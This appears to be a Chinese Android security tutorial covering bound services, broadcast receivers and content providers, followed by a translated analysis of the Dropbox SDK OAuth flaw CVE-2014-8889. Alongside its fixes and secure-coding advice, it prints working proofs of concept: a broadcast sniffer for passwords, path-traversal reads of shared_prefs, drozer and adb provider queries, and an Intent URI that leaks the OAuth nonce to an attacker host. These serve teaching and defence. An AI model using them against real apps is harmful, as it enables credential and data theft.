#!java public void onServiceConnected(ComponentName name, IBinder service) { Log.d(TAG, "OnServiceConnected "); String command = editCommand.getText().toString(); try { a mTestService = Stub.asInterface(service); String result = mTestService.a(command); Log.d(TAG, "exec result is:" + result); txtResult.setText(result); } catch (RemoteException e) { e.printStackTrace(); } }
攻击效果如下 至此,就完成了不依赖于AIDL文件攻击Bound Service的过程。

攻击已注册的系统服务

通过adb shell service list可以查看在context manager(或servicemanager)中注册的系统服务名称和IBinder接口。 这些服务也暴露了潜在的攻击面,可以编写客户端程序通过服务名获得Binder对象的引用,进而调用服务的功能或者传入污染的数据。
#!java sp sm = defaultServiceManager(); sp binder = sm->getService(String16("demo")); //demo is Service Name sp ServiceName = interface_cast(binder);
构造Parcel对象data后,则可以通过binder->transact(int code, Parcel data, Parcel reply, int flag)调用系统服务。或者在具有服务实现源代码的情况下,直接通过ServcieName->ServiceMethod()调用系统服务实现的方法,具体可参考【4】。 一般情况下,系统服务都有严格的权限检查机制,漏洞更是罕见,但也有案例。 如,三星手机随意访问RILD接口(可以解除定制机网络制式的软限制),作者在POC中给两种访问ITelephony服务sendOemRilRequestRaw接口的方法(Java和C)。

防御

除了在Manifest文件中对暴露的Service增加Signature的保护级别外,Binder还提供了更为灵活的验证方式
1 使用Binder的静态方法getCallingPid或者getCallingUid来验证IPC调用者的身份,在获得调用者uid以后,可进一步使用PackageManager.getPackagesForUid(int uid)来获得调用者的包名,然后使用PackageManager.getPackageInfo(String Packagename, int flag)检查是否具有相应的权限(使用PackageManager.GET_PERMISSIONS flag) 在Service的OnBind方法中调用Context.checkCallingPermission(String permission)或者checkCallingPermissionOrSelf (String permission) 方法,验证IPC调用者是否拥有指定的权限,同样适用于Messenger; 使用Context.enforceCallingPermission(String permission, String message),如果调用者不具备权限,自动抛出SecurityException

参考文献


http://blog.thecobraden.com/2015/12/attacking-bound-services-on-android.html?m=1

http://developer.android.com/guide/components/bound-services.html

The Mobile Application Hackers Handbook

http://ebixio.com/blog/2012/07/07/using-android-ipc-binders-from-native-code/

科普

Broadcast Recevier 广播接收器是一个专注于接收广播通知信息,并做出对应处理的组件。很多广播是源自于系统代码的──比如,通知时区改变、电池电量低、拍摄了一张照片或者用户改变了语言选项。应用程序也可以进行广播──比如说,通知其它应用程序一些数据下载完成并处于可用状态。 应用程序可以拥有任意数量的广播接收器以对所有它感兴趣的通知信息予以响应。所有的接收器均继承自BroadcastReceiver基类。 广播接收器没有用户界面。然而,它们可以启动一个activity来响应它们收到的信息,或者用NotificationManager来通知用户。通知可以用很多种方式来吸引用户的注意力──闪动背灯、震动、播放声音等等。一般来说是在状态栏上放一个持久的图标,用户可以打开它并获取消息。

知识要点


注册形式:动态or静态
元素的name属性指定了实现了这个activity的 Activity的子类。icon和label属性指向了包含展示给用户的此activity的图标和标签的资源文件。其它组件也以类似的方法声明── 元素用于声明服务, 元素用于声明广播接收器,而 元素用于声明内容提供器。 manifest文件中未进行声明的activity、服务以及内容提供器将不为系统所见,从而也就不会被运行。然而,广播接收器既可以在manifest文件中声明,也可以在代码中进行动态的创建,并以调用Context.registerReceiver()的方式注册至系统。
(静态与动态注册广播接收器区别)

回调方法
广播接收器只有一个回调方法:
#!java void onReceive(Context curContext, Intent broadcastMsg)
当广播消息抵达接收器时,Android调用它的onReceive() 方法并将包含消息的Intent对象传递给它。广播接收器仅在它执行这个方法时处于活跃状态。当onReceive()返回后,它即为失活状态。 拥有一个活跃状态的广播接收器的进程被保护起来而不会被杀死。但仅拥有失活状态组件的进程则会在其它进程需要它所占有的内存的时候随时被杀掉。 这种方式引出了一个问题:如果响应一个广播信息需要很长的一段时间,我们一般会将其纳入一个衍生的线程中去完成,而不是在主线程内完成它,从而保证用户交互过程的流畅。如果onReceive()衍生了一个线程并且返回,则包涵新线程在内的整个进程都被会判为失活状态(除非进程内的其它应用程序组件仍处于活跃状态),于是它就有可能被杀掉。这个问题的解决方法是令onReceive()启动一个新服务,并用其完成任务,于是系统就会知道进程中仍然在处理着工作。
权限
设置接收app
#!java Intent setPackage(String packageName) (Usually optional) Set an explicit application package name that limits the components this Intent will resolve to.
设置接收权限
#!java abstract void sendBroadcast(Intent intent, String receiverPermission) Broadcast the given intent to all interested BroadcastReceivers, allowing an optional required permission to be enforced.
protectionLevel normal:默认值。低风险权限,只要申请了就可以使用,安装时不需要用户确认。 dangerous:像WRITE_SETTING和SEND_SMS等权限是有风险的,因为这些权限能够用来重新配置设备或者导致话费。使用此protectionLevel来标识用户可能关注的一些权限。Android将会在安装程序时,警示用户关于这些权限的需求,具体的行为可能依据Android版本或者所安装的移动设备而有所变化。 signature:这些权限仅授予那些和本程序应用了相同密钥来签名的程序。 signatureOrSystem:与signature类似,除了一点,系统中的程序也需要有资格来访问。这样允许定制Android系统应用也能获得权限,这种保护等级有助于集成系统编译过程。
广播类型
系统广播:像开机启动、接收到短信、电池电量低这类事件发生的时候系统都会发出特定的广播去通知应用,应用接收到广播后会以某种形式再转告用户。 自定义广播:不同于系统广播事件,应用可以为自己的广播接收器自定义出一条广播事件。
Ordered Broadcast
OrderedBroadcast-有序广播,Broadcast-普通广播,他们的区别是有序广播发出后能够适配的广播接收者按照一定的权限顺序接收这个广播,并且前面的接收者可以对广播的内容进行修改,修改的结果被后面接收者接收,优先级高的接收者还可以结束这个广播,那么后面优先级低的接收者就接收不到这个广播了。而普通广播发出后,能够是适配的接收者没有一定顺序接收广播,也不能终止广播。
sticky broadcast
有这么一种broadcast,在发送并经过AMS(ActivityManagerService)分发给对应的receiver后,这个broadcast并不会被丢弃,而是保存在AMS中,当有新的需要动态注册的receiver请求AMS注册时,如果这个receiver能够接收这个broadcast,那么AMS会将在receiver注册成功之后,马上向receiver发送这个broadcast。这种broadcast我们称之为stickybroadcast。 sendStickyBroadcast()字面意思是发送粘性的广播,使用这个api需要权限android.Manifest.permission.BROADCAST_STICKY,粘性广播的特点是Intent会一直保留到广播事件结束,而这种广播也没有所谓的10秒限制,10秒限制是指普通的广播如果onReceive方法执行时间太长,超过10秒的时候系统会将这个广播置为可以干掉的candidate,一旦系统资源不够的时候,就会干掉这个广播而让它不执行。
(几种广播的特性)

变动
android3.1以及之后版本广播接收器不能在启动应用前注册。可以通过设置intent的flag为Intent.FLAG_INCLUDE_STOPPED_PACKAGES将广播发送给未启动应用的广播接收器。 关键方法
- sendBroadcast(intent) sendOrderedBroadcast(intent, null, mResultReceiver, null, 0, null, null) onReceive(Context context, Intent intent) getResultData() abortBroadcast() registerReceiver() unregisterReceiver() LocalBroadcastManager.getInstance(this).sendBroadcast(intent) sendStickyBroadcast(intent)

分类


1 私有广播接收器:只接收app自身发出的广播 公共广播接收器:能接收所有app发出的广播 内部广播接收器:只接收内部app发出的广播

安全建议
intent-filter节点与exported属性设置组合建议 1.私有广播接收器设置exported='false',并且不配置intent-filter。(私有广播接收器依然能接收到同UID的广播)

2.对接收来的广播进行验证 3.内部app之间的广播使用protectionLevel='signature'验证其是否真是内部app 4.返回结果时需注意接收app是否会泄露信息 5.发送的广播包含敏感信息时需指定广播接收器,使用显示意图或者
setPackage(String packageName)
6.sticky broadcast粘性广播中不应包含敏感信息 7.Ordered Broadcast建议设置接收权限receiverPermission,避免恶意应用设置高优先级抢收此广播后并执行abortBroadcast()方法。

测试方法

1.查找动态广播接收器:反编译后检索registerReceiver(),
dz> run app.broadcast.info -a android -i
2.查找静态广播接收器:反编译后查看配置文件查找广播接收器组件,注意exported属性 3.查找发送广播内的信息检索sendBroadcast与sendOrderedBroadcast,注意setPackage方法于receiverPermission变量。 发送测试广播
#!java adb shell: am broadcast -a MyBroadcast -n com.isi.vul_broadcastreceiver/.MyBroadCastReceiver am broadcast -a MyBroadcast -n com.isi.vul_broadcastreceiver/.MyBroadCastReceiver –es number 5556. drozer: dz> run app.broadcast.send --component com.package.name --action android.intent.action.XXX code: Intent i = new Intent(); ComponentName componetName = new ComponentName(packagename, componet); i.setComponent(componetName); sendBroadcast(i);
接收指定广播
#!java public class Receiver extends BroadcastReceiver { private final String ACCOUNT_NAME = "account_name"; private final String ACCOUNT_PWD = "account_password"; private final String ACCOUNT_TYPE = "account_type"; private void doLog(Context paramContext, Intent paramIntent) { String name; String password; String type; do { name = paramIntent.getExtras().getString(ACCOUNT_NAME); password = paramIntent.getExtras().getString(ACCOUNT_PWD); type = paramIntent.getExtras().getString(ACCOUNT_TYPE); } while ((TextUtils.isEmpty(name)) || (TextUtils.isEmpty(password)) || (TextUtils.isEmpty(type)) || ((!type.equals("email")) && (!type.equals("cellphone")))); Log.i("name", name); Log.i("password", password); Log.i("type", type); } public void onReceive(Context paramContext, Intent paramIntent) { if (TextUtils.equals(paramIntent.getAction(), "account")) doLog(paramContext, paramIntent); } }

案例


案例1:伪造消息代码执行

http://www.wooyun.org/bugs/wooyun-2013-039801

案例2:拒绝服务
尝试向广播接收器发送不完整的intent比如空action或者空extra。
http://www.wooyun.org/bugs/wooyun-2010-0511

http://www.wooyun.org/bugs/wooyun-2013-042755

http://www.wooyun.org/bugs/wooyun-2013-034181

http://www.wooyun.org/bugs/wooyun-2014-053878

http://www.wooyun.org/bugs/wooyun-2014-047716

http://www.wooyun.org/bugs/wooyun-2013-039968

http://www.wooyun.org/bugs/wooyun-2013-019422

案例3:敏感信息泄漏
某应用利用广播传输用户账号密码 隐式意图发送敏感信息
#!java public class ServerService extends Service { // ... private void d() { // ... Intent v1 = new Intent(); v1.setAction("com.sample.action.server_running"); v1.putExtra("local_ip", v0.h); v1.putExtra("port", v0.i); v1.putExtra("code", v0.g); v1.putExtra("connected", v0.s); v1.putExtra("pwd_predefined", v0.r); if (!TextUtils.isEmpty(v0.t)) { v1.putExtra("connected_usr", v0.t); } } this.sendBroadcast(v1); }
接收POC
#!java public class BcReceiv extends BroadcastReceiver { @Override public void onReceive(Context context, Intent intent){ String s = null; if (intent.getAction().equals("com.sample.action.server_running")){ String pwd = intent.getStringExtra("connected"); s = "Airdroid =>
/" + intent.getExtras(); } Toast.makeText(context, String.format("%s Received", s), Toast.LENGTH_SHORT).show(); } }
修复后代码,使用 LocalBroadcastManager.sendBroadcast() 发出的广播只能被app自身广播接收器接收。
#!java Intent intent = new Intent("my-sensitive-event"); intent.putExtra("event", "this is a test event"); LocalBroadcastManager.getInstance(this).sendBroadcast(intent);

案例4:权限绕过

http://www.wooyun.org/bugs/wooyun-2012-09175

http://www.wooyun.org/bugs/wooyun-2013-019579

http://www.wooyun.org/bugs/wooyun-2014-068478

http://www.wooyun.org/bugs/wooyun-2014-084520

http://www.wooyun.org/bugs/wooyun-2014-084516

http://zone.wooyun.org/content/16841

参考


http://www.jssec.org/dl/android_securecoding_en.pdf

https://www.securecoding.cert.org/confluence/display/java/DRD03-J.+Do+not+broadcast+sensitive+information+using+an+implicit+intent

科普

内容提供器用来存放和获取数据并使这些数据可以被所有的应用程序访问。它们是应用程序之间共享数据的唯一方法;不包括所有Android软件包都能访问的公共储存区域。Android为常见数据类型(音频,视频,图像,个人联系人信息,等等)装载了很多内容提供器。你可以看到在android.provider包里列举了一些。你还能查询这些提供器包含了什么数据。当然,对某些敏感内容提供器,必须获取对应的权限来读取这些数据。 如果你想公开你自己的数据,你有两个选择:你可以创建你自己的内容提供器(一个ContentProvider子类)或者你可以给已有的提供器添加数据,前提是存在一个控制同样类型数据的内容提供器且你拥有读写权限。

知识要点


http://developer.android.com/guide/topics/providers/content-providers.html

Content URIs
content URI 是一个标志provider中的数据的URI.Content URI中包含了整个provider的以符号表示的名字(它的authority) 和指向一个表的名字(一个路径).当你调用一个客户端的方法来操作一个provider中的一个表,指向表的content URI是参数之一. A. 标准前缀表明这个数据被一个内容提供器所控制。它不会被修改。 B. URI的权限部分;它标识这个内容提供器。对于第三方应用程序,这应该是一个全称类名(小写)以确保唯一性。权限在元素的权限属性中进行声明:

C. 用来判断请求数据类型的路径。这可以是0或多个段长。如果内容提供器只暴露了一种数据类型(比如,只有火车),这个分段可以没有。如果提供器暴露若干类型,包括子类型,那它可以是多个分段长-例如,提供"land/bus", "land/train", "sea/ship", 和"sea/submarine"这4个可能的值。 D. 被请求的特定记录的ID,如果有的话。这是被请求记录的_ID数值。如果这个请求不局限于单个记录, 这个分段和尾部的斜线会被忽略:
content://com.example.transportationprovider/trains

ContentResolver
ContentResolver的方法们提供了对存储数据的基本的"CRUD" (增删改查)功能
#!java getIContentProvider() Returns the Binder object for this provider. delete(Uri uri, String selection, String
selectionArgs) -----abstract A request to delete one or more rows. insert(Uri uri, ContentValues values) Implement this to insert a new row. query(Uri uri, String
projection, String selection, String
selectionArgs, String sortOrder) Receives a query request from a client in a local process, and returns a Cursor. update(Uri uri, ContentValues values, String selection, String
selectionArgs) Update a content URI. openFile(Uri uri, String mode) Open a file blob associated with a content URI.

Sql注入
sql语句拼接
#!java // 通过连接用户输入到列名来构造一个选择条款 String mSelectionClause = "var = " + mUserInput;
参数化查询
#!java // 构造一个带有占位符的选择条款 String mSelectionClause = "var = ?";

权限
下面的 元素请求对用户词典的读权限:

申请某些protectionLevel="dangerous"的权限

android:protectionLevel normal:默认值。低风险权限,只要申请了就可以使用,安装时不需要用户确认。 dangerous:像WRITE_SETTING和SEND_SMS等权限是有风险的,因为这些权限能够用来重新配置设备或者导致话费。使用此protectionLevel来标识用户可能关注的一些权限。Android将会在安装程序时,警示用户关于这些权限的需求,具体的行为可能依据Android版本或者所安装的移动设备而有所变化。 signature:这些权限仅授予那些和本程序应用了相同密钥来签名的程序。 signatureOrSystem:与signature类似,除了一点,系统中的程序也需要有资格来访问。这样允许定制Android系统应用也能获得权限,这种保护等级有助于集成系统编译过程。
API
Contentprovider组件在API-17(android4.2)及以上版本由以前的exported属性默认ture改为默认false。 Contentprovider无法在android2.2(API-8)申明为私有。


关键方法

- public void addURI (String authority, String path, int code) public static String decode (String s) public ContentResolver getContentResolver() public static Uri parse(String uriString) public ParcelFileDescriptor openFile (Uri uri, String mode) public final Cursor query(Uri uri, String
projection,String selection, String
selectionArgs, String sortOrder) public final int update(Uri uri, ContentValues values, String where,String
selectionArgs) public final int delete(Uri url, String where, String
selectionArgs) public final Uri insert(Uri url, ContentValues values)

content provider 分类

这个老外分的特别细,个人认为就分private、public、in-house差不多够用。

安全建议


1 minSdkVersion不低于9 不向外部app提供的数据的私有content provider设置exported=“false”避免组件暴露(编译api小于17时更应注意此点) 使用参数化查询避免注入 内部app通过content provid交换数据设置protectionLevel=“signature”验证签名 公开的content provider确保不存储敏感数据 Uri.decode() before use ContentProvider.openFile() 提供asset文件时注意权限保护

测试方法

1、反编译查看AndroidManifest.xml(drozer扫描)文件定位content provider是否导出,是否配置权限,确定authority
#!bash drozer: run app.provider.info -a cn.etouch.ecalendar
2、反编译查找path,关键字addURI、hook api 动态监测推荐使用zjdroid 3、确定authority和path后根据业务编写POC、使用drozer、使用小工具Content Provider Helper、adb shell // 没有对应权限会提示错误
#!bash adb shell: adb shell content query --uri



content query --uri content://settings/secure --projection name:value --where "name='new_setting'" --sort "name ASC" adb shell content insert --uri content://settings/secure --bind name:s:new_setting --bind value:s:new_value adb shell content update --uri content://settings/secure --bind value:s:newer_value --where "name='new_setting'" adb shell content delete --uri content://settings/secure --where "name='new_setting'"

#!bash drozer: run app.provider.query content://telephony/carriers/preferapn --vertical

案例


案例1:直接暴露

http://www.wooyun.org/bugs/wooyun-2013-041595

http://www.wooyun.org/bugs/wooyun-2013-016854

http://www.wooyun.org/bugs/wooyun-2013-021089

http://www.wooyun.org/bugs/wooyun-2013-039290

http://www.wooyun.org/bugs/wooyun-2013-042609

http://www.wooyun.org/bugs/wooyun-2014-085432

http://www.wooyun.org/bugs/wooyun-2014-084500

案例2:需权限访问

http://www.wooyun.org/bugs/wooyun-2013-041521

http://www.wooyun.org/bugs/wooyun-2014-057590

http://www.wooyun.org/bugs/wooyun-2013-039697

案例3:openFile文件遍历

http://www.wooyun.org/bugs/wooyun-2013-044407

http://www.wooyun.org/bugs/wooyun-2013-047098

http://www.wooyun.org/bugs/wooyun-2013-044411
Override openFile method 错误写法1:
#!java private static String IMAGE_DIRECTORY = localFile.getAbsolutePath(); public ParcelFileDescriptor openFile(Uri paramUri, String paramString) throws FileNotFoundException { File file = new File(IMAGE_DIRECTORY, paramUri.getLastPathSegment()); return ParcelFileDescriptor.open(file, ParcelFileDescriptor.MODE_READ_ONLY); }
错误写法2:URI.parse()
#!java private static String IMAGE_DIRECTORY = localFile.getAbsolutePath(); public ParcelFileDescriptor openFile(Uri paramUri, String paramString) throws FileNotFoundException { File file = new File(IMAGE_DIRECTORY, Uri.parse(paramUri.getLastPathSegment()).getLastPathSegment()); return ParcelFileDescriptor.open(file, ParcelFileDescriptor.MODE_READ_ONLY); }
POC1:
#!java String target = "content://com.example.android.sdk.imageprovider/data/" + "..%2F..%2F..%2Fdata%2Fdata%2Fcom.example.android.app%2Fshared_prefs%2FExample.xml"; ContentResolver cr = this.getContentResolver(); FileInputStream fis = (FileInputStream)cr.openInputStream(Uri.parse(target)); byte
buff = new byte
; in.read(buff);
POC2:double encode
#!java String target = "content://com.example.android.sdk.imageprovider/data/" + "%252E%252E%252F%252E%252E%252F%252E%252E%252Fdata%252Fdata%252Fcom.example.android.app%252Fshared_prefs%252FExample.xml"; ContentResolver cr = this.getContentResolver(); FileInputStream fis = (FileInputStream)cr.openInputStream(Uri.parse(target)); byte
buff = new byte
; in.read(buff);
解决方法Uri.decode()
#!java private static String IMAGE_DIRECTORY = localFile.getAbsolutePath(); public ParcelFileDescriptor openFile(Uri paramUri, String paramString) throws FileNotFoundException { String decodedUriString = Uri.decode(paramUri.toString()); File file = new File(IMAGE_DIRECTORY, Uri.parse(decodedUriString).getLastPathSegment()); if (file.getCanonicalPath().indexOf(localFile.getCanonicalPath()) != 0) { throw new IllegalArgumentException(); } return ParcelFileDescriptor.open(file, ParcelFileDescriptor.MODE_READ_ONLY); }

参考


https://www.securecoding.cert.org/confluence/pages/viewpage.action?pageId=111509535

http://www.jssec.org/dl/android_securecoding_en.pdf

http://developer.android.com/intl/zh-cn/reference/android/content/ContentProvider.html

相关阅读

http://zone.wooyun.org/content/15097

http://drops.wooyun.org/tips/2997

前言

本文是对IBM ISS安全团队对DropBox SDK漏洞详细分析的翻译。


http://www.slideshare.net/ibmsecurity/remote-exploitation-of-the-dropbox-sdk-for-android
如今个人数据存储在云端,这使得像照片备份或通用存储那样的服务不仅可以被用户访问,也能被代表用户的app所访问。在许多方面,包括访问控制功能的app与服务之间的互操作总是具有挑战性的,为了解决访问控制来来的挑战,OAuth1和2等授权协议陆续被提出,它们可以安全地授予app访问特定服务中个人数据的权限,而又不泄露用户的个人凭据。为便于开发,这些服务通常为app提供一个框架或SDK,使app能够和服务进行通信。对于app开发者而言,SDK是具有吸引力的,因为其对内部细节进行了抽象,给开发者提供了简单的客户端API。从安全的角度来看,SDK则提供了极具吸引力的攻击面,因为其一旦出现可供利用的漏洞,可以影响大量使用该SDK的app。 本文介绍了Android Dropbox SDK 1.5.4-1.6.1版本中存在的一个严重漏洞(CVE-2014-8889),该漏洞使基于Dropbox SDK的app暴露于严重的本地和远程攻击。作为概念证明(POC),我们开发了针对包括Microsoft Office Mobile和1Password等流行app的远程攻击程序。我们负责任地将该漏洞报告给了Dropbox,Dropbox也及时提供了一个修复的SDK(1.6.2版)。在此,强烈建议开发者下载SDK并更新其app。

背景

Dropbox SDK是一个供开发者下载并用于其产品的库,它通过一组简单的API,提供了轻松使用Dropbox服务,如下载或上传文件等功能。 AppBrain的统计数据表明了在Android中使用Dropbox SDK的流行程度
,在全部应用中,有0.31%使用了Dropbox SDK。而在Google Play前500的应用中,1.41%使用了Dropbox SDK。有趣的是,按照安装量统计,分别有总量的1.32%和前500应用安装量的3.93%使用了Dropbox SDK。 尽管Dropbox SDK不是一个高度流行的基础软件库,某些非常流行的Android app仍然使用Dropbox SDK持有敏感数据,包括拥有10,000,000下载量的
(https:// https://play.google.com/store/apps/details?id=com.microsoft.office.officehub),以及拥有100,000下载量的
https://play.google.com/store/apps/details?id=com.agilebits.onepassword
。 我们发现的这一漏洞影响使用Dropbox SDK 1.5.4-1.6.1版的所有Android app。我们分析了使用Android Dropbox SDK的41个app(它们使用了1.5.4-1.6.1版),其中有31个app(76%)能够被攻击成功)。需要注明的是,其余app仍然具有漏洞,可以被造成同样后果的更加简单的攻击所利用,只不过这些app没有升级到修复漏洞的1.5.4版。

从上下文来看,这一漏洞不是指本文分析的CVE-2014-8889

本文结构如下,第二章介绍了Android中跨应用通信(IAC)的背景,第三章介绍了IAC如何被恶意代码本地利用和远程drive-by攻击利用的技术,第四章描述了Dropbox SDK如何使用OAuth为Android app提供授权,第五章深入分析我们所发现的Android Dropbox SDK用于OAuth代码中的漏洞,第六章描述了我们称之为DROPPEDIN的利用该漏洞的真实攻击,第七章我们提供了反映真实威胁的案例,最后在第八章中我们提供了该漏洞的修复建议。

Android中的跨应用通信(IAC)

Android应用在沙箱环境中执行,沙箱确保应用数据的机密性和完整性,如果没有配置适当的权限,某一应用无法访问其他应用中的敏感信息。例如,Android Stock浏览器中的敏感信息,如cookie、缓存和历史记录,不会被第三方的app所访问。沙箱机制依赖于多种技术,包括基于应用的Linux user-id分配,因此在默认情况下,某一应用的资源(如文件),不会被其他应用所访问。尽管沙箱机制有利于安全,对于有时在app之间需要通信的场合,也牺牲了部分互操作性。回到前述Stock浏览器的例子,当用户使用浏览器访问到Google Play网址时,可能需要打开Google Play app,为了支持这种类型的互操作,Android提供了一种高层的跨应用通信(IAC)机制,通常使用了封装有关载荷和目标应用组件的信息、被称之为Intent的特殊消息。Intent可以是显式指定,此时必须明确指定目标应用组件,也可以隐式指定,此时目标应用无需明确指定,而由Android系统根据Intent参数中的URI scheme、action或category决定。

利用跨应用通信的攻击

如果攻击者可以控制Intent载荷,直接启动应用组件,那么攻击面将被拓宽,特别对于处于导出(exported)状态的应用组件。这些导出的一个用组件易于遭受恶意应用的本地攻击。负责UI屏幕的Android组件Activity也可以遭受远程的drive-by攻击技术,见
。 在本地攻击中,如图3.1所示,恶意应用通过恶意Intent(即包含恶意数据)启动导出的目标应用,这只需要简单的调用API,如Context.startActivity(intent) https://wooyun.js.org/images_result/images/2015031606173228172.png
图3.1 恶意应用的本地攻击
而在图3.2所示的远程drive-by攻击中,用户被欺骗浏览恶意网址,恶意网址的网页使浏览器发送恶意Intent,启动目标activity。

这种攻击技术参见Intent scheme URL attack:http://drops.wooyun.org/papers/2893


图3.2 远程Drive-by攻击

OAuth与Dropbox

为了授权app使用一个指定的Dropbox账号,Dropbox SDK使用了OAuth协议,这个过程始于app在Dropbox网站的带外注册,接着app就可以从Dropbox收到app key和app secret,并将其硬编码于代码中。 然后app将在Android Manifest文件中导出Dropbox使用的AuthActivity,如下所示。
#!html
图4.1描述了Dropbox OAuth协议各方及通信过程,这一过程首先开始于app携带必须的数据(即app key和app secret)调用Dropbox SDK AndroidAuthSession中的静态方法start{OAuth2}Authentication,该方法使用一个Intent启动AuthActivity,接着AuthActivity产生一个nonce随机数,并再次通过一个Intent启动浏览器或者Dropbox app(如果已安装),对用户进行认证和对app进行授权。这一过程将使用到前面产生的nonce。浏览器或者Dropbox app将利用指向app唯一URI scheme(db-)的隐式Intent,返回携带附加数据(如uid)的access token、secret和nonce。这将导致AuthAcitivity的OnNewIntent方法被调用,该方法会检查输入的nonce是否与输出的nonce一致。如果一致,它将接受token,并存储于其result静态变量中。token将在Dropbox会话中保存,用于接下来的Dropbox SDK调用。
图4.1 Dropbox OAuth认证
该过程存在两个主要的威胁。首先,返回的OAuth access token可能被窃取,这将允许攻击者访问授权的Dropbox资源。恶意应用通过注册类似的Intent filter,就可以假冒app实施这种攻击。然而由于Dropbox SDK可以检查是否有别的应用注册相同的Intent filter,因此这种威胁带来的风险就已经缓解了。其次,攻击者可以注入自己的access token,这将导致app连接到攻击者的账户,从而在非授权的情况下上传敏感数据给攻击者,或者下载数据以进一步实施其他的攻击。由于nonce 参数的存在(在1.5.4版中引入),这种威胁带来的风险也已经缓解。然而,具体实现仍然存在一个漏洞,攻击者可以主动地令Dropbox SDK泄露nonce参数到攻击者控制的服务器,我们将在下一章中予以叙述。

漏洞分析

我们发现的一个漏洞,被标识为CVE-2014-8889,使攻击者可以在Dropbox SDK的AuthActivity中注入一个任意的access token,完全绕过nonce的保护。 AuthAcitivity接受几种不同的Intent extra参数,作为一个exported和browasable的activity(如第四章所述,必须),它可以被携带任意Intent extra参数(见第三章)的本地恶意应用和远程恶意网站所启动,因此在使用这些Intent extra参数时必须格外小心。 然而,一个名为INTERNAL_WEB_HOST的Intent extra参数却可以被攻击者所控制,从而带来破坏性的影响。当浏览器用于认证用户和授权app使用时(Dropbox app未安装的情况),这个参数最终控制了用户浏览器访问的地址,如附录A,startWebAuth方法被AuthActivity的OnResume回调方法(在Intent启动Activity后调用)所调用。因此,如果攻击者可以针对该activity生成一个Intent,并将其INTERNAL_WEB_HOST extra指向自己控制的服务器,那么在认证过程中的nonce将发送给攻击者的服务器!

DROPPEDIN 攻击

对本地和远程(drive-by)攻击,我们都予以了实现。这两种攻击都要求被攻击设备不能安装Dropbox app,并要求攻击者预先以一种带外的方式获得access token(ACCESS_TOKEN_KEY, ACCESS_TOKEN_SECRET),以及与其账户和被攻击app相关的uid。这一步很容易,因为攻击者可以简单地下载被攻击app到自己的设备上,授权自己的Dropbox账号使用,并记录返回的access token对。如图6.1,远程攻击分四个步骤,本地攻击也与此类似,但要求被攻击设备上安装恶意应用。
图6.1 Droppedin 攻击

6.1 自然的网页浏览
受害者访问了攻击者完全控制的恶意网站,或者被攻击者利用漏洞(如XSS)植入恶意代码的网站。
6.2 主动的Nonce泄露
恶意代码携带特别的Intent参数,使用户的浏览器启动被攻击的app,并使随后的OAuth过程与攻击者所控制的服务器间进行,而不是正常的https://www.dropbox.com。这一步骤使攻击者获得nonce。通过简单的HTTP重定向到以下代码就可以实现: Intent:#Intent;scheme=db-; S.EXTRA_INTERNAL_WEB_HOST=; S.EXTRA_INTERNAL_APP_KEY=foo; S.EXTRA_INTERNAL_APP_SECRET=bar; end 截至本文写作时,大多数的流行浏览器都支持上述这种Intent URI scheme机制的隐式Intent。
6.3 Auth Access Token注入
上述Intent将最终使浏览器访问https://attacker:443/1/connect(并在GET参数中携带nonce),这要求攻击者拥有自己的SSL证书,但这也很容易。获取nonce后,攻击者就可以通过另一个HTTP重定向到以下代码,注入自己预先产生的access token到app中。
db-://1/connect?oauth_token_secret= &oauth_token= &uid= &state=
如果access token被成功注入,将保存在AuthActivity.result中。
6.4 App使用OAuth Access Token
至此,AuthActivity的静态成员变量result就包含了攻击者的token。其余就是被攻击app如何使用这些数据了,这取决于开发者。 不排除有别的情况存在,但总体而言,客户端(app)代码将在其中一个Activity的onCreate方法或者在用户点击某些按钮时发起认证过程。接下来就是检查认证是否成功,并在其onResume方法中将token用于Dropbox会话。 攻击得以成功关键的一点在于,onCreate和onResume方法依次调用(见
)。这表明,攻击者一旦在app的activity呈现之前注入他的access token,这个access token就会在用户输入自己的凭据之前使用,见第7章的具体案例分析。

案例研究


7.1 Mircrosoft Office Mobile:注入并添加新的连接

从文中内容看,作者使用Link(连接)这一术语说明app与某一Dropbox账号建立关系,即app使用该账号访问Dropbox的服务。

Microsoft Office Mobile app允许用户将自己的文档上传至云中,且支持多个Dropbox账户。 在该案例中,正常情况下下列步骤将按如下顺序执行: 1.用户添加Dropbox账号,这将启动负责Dropbox认证的activity。 2.activity的onCreate方法调用SDK AndroidAuthSession中的startOAuth2Authentication方法。 3.接着调用acitivity的onResume方法,通过AndroidAuthSession的authenticationSuccessful方法检查认证是否成功,后者返回一个负值。 4.用户通过浏览器登录Dropbox认证,并授权app使用自己的账户。 5.activity的onResume方法再次调用,此时authenticationSuccessful将返回正值。token将从AuthActivity拷贝到session对象,供app使用。通过调用Activity.finish方法销毁activity. 6.账户被添加到app中。 该过程可遭受如下的攻击。在第一步之前,攻击者通过漏洞注入自己的token。用户接着添加一个新的Dropbox账号,正常情况下他将被引到Dropbox的官网,然而第三步在可以在未经用户同意的情况下在后台发生,authentication方法将调用成功,攻击者的token被拷贝到session对象,然后activity被销毁,甚至都第五步都不会进行。因此,即使用户输入的是自己的认证凭据,却使用了攻击者的token,使攻击无缝发生。
7.2 1Password: 在初次连接之前注入
1Password app属于口令管理app(如KeyPass),使用Dropbox SDK将用户的vault(密钥库)同步至Dropbox。该app支持使用一个Dropbox账号将本地的密钥库同步至Dropbox。将密钥库上传给攻击者的账号将带来灾难性的影响——攻击者可以进行离线破解,如果使用弱的主保护口令(这仍然是一个常见问题
),攻击者可以在可行的时间内破解成功。此外,为了获得主保护口令,攻击者还可以实施钓鱼攻击。 与7.1节类似,当用户决定同步时如下步骤按序发生: 1.用户点击“同步到Dropbox”按钮,启动负责Dropbox认证的activity。 2.activity的onCreate方法通过AndroidAuthSession.isLinked()方法检查自己是否被连接。如果没有,则调用AndroidAuthSession的startAuthentication方法。 3.接着调用activity的onResume方法,并再次调用AndroidAuthSession.isLinked()。如果返回false,则通过AnroidAuthSession.authenticationSucessful()方法检查认证是否成功,后者将返回一个负值。 4.用户通过浏览器登录Dropbox认证,并授权app使用自己的账户。 5.activity的onResume方法被调用,AndroidAuthSession.isLinked()再次返回false。然而,此时authenticationSuccessful()方法将返回一个正值。app接着调用finishAuthentication将token拷贝到session对象(这将导致isLinked方法返回true),于是app使用该token。 6.同步过程开始。 